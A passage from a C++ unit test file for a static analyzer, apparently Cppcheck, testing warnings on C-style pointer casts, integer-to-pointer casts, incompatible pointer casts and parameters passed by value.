Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n 